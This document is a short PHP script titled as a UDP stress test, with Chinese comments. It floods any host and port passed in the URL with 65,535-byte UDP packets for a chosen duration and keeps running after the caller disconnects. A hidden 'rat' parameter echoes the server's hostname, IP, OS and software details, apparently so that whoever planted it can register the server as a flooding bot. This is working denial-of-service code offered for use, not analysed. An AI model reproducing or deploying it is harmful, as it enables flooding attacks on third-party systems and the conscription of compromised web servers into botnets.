php udp stress test

<?php
set_time_limit(984918);
$host = $_GET[&#39;host&#39;];//对方ip
$port = $_GET[&#39;port&#39;];//端口
$exec_time = $_GET[&#39;time&#39;];//持续时长
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET[&#39;rat&#39;])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
for($i=0;$i<$Sendlen;$i++){
        $out .= "B";
    }
$max_time = time()+$exec_time;
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
echo "Send Host：$host:$port<br><br>";
echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

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